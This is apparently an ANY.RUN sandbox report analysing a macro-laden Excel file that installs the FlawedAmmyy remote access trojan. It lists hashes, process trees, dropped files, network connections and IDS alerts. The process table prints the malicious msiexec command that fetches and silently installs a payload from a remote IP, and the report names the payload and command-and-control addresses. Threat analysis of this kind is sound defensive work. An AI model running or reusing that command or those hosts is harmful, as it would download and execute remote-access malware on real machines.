Malware analysis 20180423 출납일보.xls Malicious activity

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File name:	20180423 출납일보.xls
Full analysis:	https://app.any.run/tasks/f2ea1b9f-dced-41b0-a1a5-86495cdb623c
Verdict:	Malicious activity
Threats:	FlawedAmmmyy is a RAT type malware that can be used to perform actions remotely on an infected PC. This malware is well known for being featured in especially large campaigns with wide target demographics. A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. Remote access trojans (RATs) are a type of malware that enables attackers to establish complete to partial control over infected computers. Such malicious programs often have a modular design, offering a wide range of functionalities for conducting illicit activities on compromised systems. Some of the most common features of RATs include access to the users’ data, webcam, and keystrokes. This malware is often distributed through phishing emails and links. Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email. Malware Trends Tracker >>>
Analysis date:	April 23, 2019, 23:24:57
OS:	Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:	macros macros-on-open loader exe-to-msi rat flawedammyy ammyy trojan
Indicators:
MIME:	application/vnd.ms-excel
File info:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Author: Microsoft Office, Last Saved By: 1, Name of Creating Application: Microsoft Excel, Create Time/Date: Wed Dec 19 10:42:12 2018, Last Saved Time/Date: Tue Apr 23 21:28:39 2019, Security: 0
MD5:	EF44ED891CB62ADEA7099325CB35AE6C
SHA1:	9F0228323E3230F352DC82CA5DA56986F48EEDBE
SHA256:	5B2AADA3F4D3B5F4D007BAE0EB5A36398921183F977BE2E3820F09EDA58CFBF5
SSDEEP:	6144:uKpb8rGYrMPelwhKmFV5xtuEsgrdg4UQuBMdbh3hvtBznDEBgMh2Vwow/6499Jtt:B3MoVB/EtG/Cjtfcy

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 60 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: none
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 8.0.7601.17514 undefined
Adobe Acrobat Reader DC MUI (15.023.20070)
Adobe Flash Player 26 ActiveX (26.0.0.131)
Adobe Flash Player 26 NPAPI (26.0.0.131)
Adobe Flash Player 26 PPAPI (26.0.0.131)
Adobe Refresh Manager (1.8.0)
CCleaner (5.35)
FileZilla Client 3.36.0 (3.36.0)
Google Chrome (73.0.3683.75)
Google Update Helper (1.3.33.23)
Java 8 Update 92 (8.0.920.14)
Java Auto Updater (2.8.92.14)
Microsoft .NET Framework 4.6.1 (4.6.01055)
Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Professional 2010 (14.0.6029.1000)
Microsoft Office Proof (English) 2010 (14.0.6029.1000)
Microsoft Office Proof (French) 2010 (14.0.6029.1000)
Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Single Image 2010 (14.0.6029.1000)
Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2017 Redistributable (x86) - 14.15.26706 (14.15.26706.0)
Microsoft Visual C++ 2017 x86 Additional Runtime - 14.15.26706 (14.15.26706)
Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.15.26706 (14.15.26706)
Mozilla Firefox 65.0.2 (x86 en-US) (65.0.2)
Notepad++ (32-bit x86) (7.5.1)
Opera 12.15 (12.15.1748)
Skype version 8.29 (8.29)
VLC media player (2.2.6)
WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

Client LanguagePack Package
Client Refresh LanguagePack Package
CodecPack Basic Package
Foundation Package
IE Troubleshooters Package
InternetExplorer Optional Package
KB2534111
KB2999226
KB976902
LocalPack AU Package
LocalPack CA Package
LocalPack GB Package
LocalPack US Package
LocalPack ZA Package
ProfessionalEdition
UltimateEdition

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MALICIOUS
- Unusual execution from Microsoft Office
  - EXCEL.EXE (PID: 1892)
- Uses Microsoft Installer as loader
  - EXCEL.EXE (PID: 1892)
- Downloads executable files from IP
  - msiexec.exe (PID: 916)
- Application was dropped or rewritten from another process
  - wsus.exe (PID: 1360)
  - wsus.exe (PID: 920)
- Downloads executable files from the Internet
  - msiexec.exe (PID: 916)
- AMMYY was detected
  - wsus.exe (PID: 1360)
- FLAWEDAMMYY was detected
  - wsus.exe (PID: 1360)
- Connects to CnC server
  - wsus.exe (PID: 1360)
- Loads the Task Scheduler COM API
  - MSI71B4.tmp (PID: 2176)
- Loads the Task Scheduler DLL interface
  - MSI71B4.tmp (PID: 2176)
- Changes the autorun value in the registry
  - MSI71B4.tmp (PID: 2176)
SUSPICIOUS
- Drop ExeToMSI Application
  - msiexec.exe (PID: 916)
- Executable content was dropped or overwritten
  - msiexec.exe (PID: 916)
  - MSI71B4.tmp (PID: 2176)
- Creates files in the program directory
  - MSI71B4.tmp (PID: 2176)
- Creates files in the Windows directory
  - MSI71B4.tmp (PID: 2176)
- Starts CMD.EXE for commands execution
  - MSI71B4.tmp (PID: 2176)
INFO
- Reads Microsoft Office registry keys
  - EXCEL.EXE (PID: 1892)
- Writes to a desktop.ini file (may be used to cloak folders)
  - msiexec.exe (PID: 916)
- Starts application with an unusual extension
  - msiexec.exe (PID: 916)
- Application was dropped or rewritten from another process
  - MSI71B4.tmp (PID: 2176)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

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No Malware configuration.

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TRiD

.xls	\|	Microsoft Excel sheet (78.9)

EXIF

FlashPix

HeadingPairs:	Листы 2 Макросы Excel 4.0 2
TitleOfParts:	4 OOOO 2 3
HyperlinksChanged:	No
SharedDoc:	No
LinksUpToDate:	No
ScaleCrop:	No
AppVersion:	16
Company:	Microsoft Corporation
CodePage:	Windows Cyrillic
Security:	None
ModifyDate:	2019:04:23 20:28:39
CreateDate:	2018:12:19 10:42:12
Software:	Microsoft Excel
LastModifiedBy:	1
Author:	Microsoft Office

No data.

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All screenshots are available in the full report

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Total processes

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID	CMD	Path	Indicators	Parent process
1892	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	—	explorer.exe
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Version: 14.0.6024.1000
3152	msiexec.exe STOP=1 /i http://27.102.118.143/dom1 /q ksw='%TEMP%'	C:\Windows\system32\msiexec.exe	—	EXCEL.EXE
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows® installer Exit code: 0 Version: 5.0.7600.16385 (win7_rtm.090713-1255)
916	C:\Windows\system32\msiexec.exe /V	C:\Windows\system32\msiexec.exe		services.exe
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows® installer Version: 5.0.7600.16385 (win7_rtm.090713-1255)
2176	"C:\Windows\Installer\MSI71B4.tmp"	C:\Windows\Installer\MSI71B4.tmp		msiexec.exe
User: admin Integrity Level: MEDIUM Exit code: 0
1360	"C:\ProgramData\Microsofts HeIp\wsus.exe"	C:\ProgramData\Microsofts HeIp\wsus.exe		MSI71B4.tmp
User: admin Company: Gravity Integrity Level: MEDIUM Description: Gravity Protect Version: 7.3.1.1
3856	"C:\Windows\system32\cmd.exe" /c del C:\Windows\INSTAL~1\MSI71B4.tmp >> NUL	C:\Windows\system32\cmd.exe	—	MSI71B4.tmp
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850)
920	"C:\ProgramData\Microsofts HeIp\wsus.exe"	C:\ProgramData\Microsofts HeIp\wsus.exe	—	taskeng.exe
User: admin Company: Gravity Integrity Level: MEDIUM Description: Gravity Protect Exit code: 0 Version: 7.3.1.1
4076	"C:\Windows\system32\cmd.exe" /c del C:\Windows\INSTAL~1\MSI71B4.tmp >> NUL	C:\Windows\system32\cmd.exe	—	MSI71B4.tmp
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850)

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Total events

817

Read events

735

Write events

Delete events

Modification events

No data

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Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
1892	EXCEL.EXE	C:\Users\admin\AppData\Local\Temp\CVR5CF0.tmp.cvr		—
		MD5:—	SHA256:—
916	msiexec.exe	C:\Users\admin\AppData\Local\Temp\~DF70AB73BAE5B5B47C.TMP		—
		MD5:—	SHA256:—
916	msiexec.exe	C:\Config.Msi\e701d.rbs		—
		MD5:—	SHA256:—
916	msiexec.exe	C:\Users\admin\AppData\Local\Temp\~DFFFF5BDA1550E7193.TMP		—
		MD5:—	SHA256:—
2176	MSI71B4.tmp	C:\ProgramData\Microsofts HeIp\template_110b318.DATAHASH		binary
		MD5:7DB165D593D7FCA58C44FA132E1E8283	SHA256:C2509B73DFFAE9FF0750C8F10FDA433C51212AA73898F57876418CD2252E427E
916	msiexec.exe	C:\Windows\Installer\e701c.ipi		binary
		MD5:39ED70CBFE620F149ECE6F28B9B2AC94	SHA256:1D867DE41816D9E59F46B85DDBD335B2210114F3F67B99D6122DBA13F39B3147
916	msiexec.exe	C:\Windows\Installer\MSI6B29.tmp		executable
		MD5:15524A83BFD4D2FDEE1239CC63113850	SHA256:50F300BF2E87A2063EEE32867B1D7F41F55F67CEC0B2F26D2D6766DCF7C459A6
2176	MSI71B4.tmp	C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H6QNMHE9\1[1].tmp		binary
		MD5:7DB165D593D7FCA58C44FA132E1E8283	SHA256:C2509B73DFFAE9FF0750C8F10FDA433C51212AA73898F57876418CD2252E427E
916	msiexec.exe	C:\Windows\Installer\MSI71B4.tmp		executable
		MD5:DF03E73C0BCA68C25B7FCDD9E5912601	SHA256:388769CFE8894C84CCE9DE27EA27F31FDEEC5178DB3C27CB6E969225E7BC4669
916	msiexec.exe	C:\Users\admin\AppData\Local\Temp\Temporary Internet Files\Content.IE5\index.dat		dat
		MD5:75AD4C404A9930BCBCBD90FF29BA395D	SHA256:B54C157BF0697A6895400481EE9DC1076EE6BC1C8130E086BC75C03B42F4B235

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
916	msiexec.exe	GET	200	27.102.118.143:80	http://27.102.118.143/dom1	KR	executable	156 Kb	suspicious
2176	MSI71B4.tmp	GET	200	160.202.162.147:80	http://160.202.162.147/1.tmp	KR	binary	627 Kb	suspicious

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID	Process	IP	Domain	ASN	CN	Reputation
916	msiexec.exe	27.102.118.143:80	—	DAOU TECHNOLOGY	KR	suspicious
1360	wsus.exe	169.239.128.119:80	—	Zappie Host LLC	ZA	malicious
2176	MSI71B4.tmp	160.202.162.147:80	—	Korea Telecom	KR	suspicious

DNS requests

No data

Threats

PID	Process	Class	Message
916	msiexec.exe	Misc activity	SUSPICIOUS [PTsecurity] Using msiexec.exe for Downloading non-MSI file
916	msiexec.exe	Potential Corporate Privacy Violation	POLICY [PTsecurity] Executable application_x-msi Download
2176	MSI71B4.tmp	A Network Trojan was detected	ET CURRENT_EVENTS MalDoc Request for Payload (TA505 Related)
1360	wsus.exe	A Network Trojan was detected	MALWARE [PTsecurity] FlawedAmmyy.RAT
1360	wsus.exe	A Network Trojan was detected	MALWARE [PTsecurity] AMMYY RAT
1360	wsus.exe	A Network Trojan was detected	ET TROJAN Win32/FlawedAmmyy RAT CnC Checkin
1360	wsus.exe	A Network Trojan was detected	MALWARE [PTsecurity] FlawedAmmyy.RAT Checkin

1 ETPRO signatures available at the full report

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Process	Message
MSI71B4.tmp	C:\ProgramData\Microsofts HeIp\template_110b318.DATAHASH
MSI71B4.tmp	1

General Info

20180423 출납일보.xls

EF44ED891CB62ADEA7099325CB35AE6C

9F0228323E3230F352DC82CA5DA56986F48EEDBE

5B2AADA3F4D3B5F4D007BAE0EB5A36398921183F977BE2E3820F09EDA58CFBF5

6144:uKpb8rGYrMPelwhKmFV5xtuEsgrdg4UQuBMdbh3hvtBznDEBgMh2Vwow/6499Jtt:B3MoVB/EtG/Cjtfcy

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Unusual execution from Microsoft Office

Uses Microsoft Installer as loader

Downloads executable files from IP

Application was dropped or rewritten from another process

Downloads executable files from the Internet

AMMYY was detected

FLAWEDAMMYY was detected

Connects to CnC server

Loads the Task Scheduler COM API

Loads the Task Scheduler DLL interface

Changes the autorun value in the registry

SUSPICIOUS

Drop ExeToMSI Application

Executable content was dropped or overwritten

Creates files in the program directory

Creates files in the Windows directory

Starts CMD.EXE for commands execution

INFO

Reads Microsoft Office registry keys

Writes to a desktop.ini file (may be used to cloak folders)

Starts application with an unusual extension

Application was dropped or rewritten from another process

Malware configuration

Static information

TRiD

EXIF

FlashPix

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Information

Information

Information

Information

Information

Information

Information

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings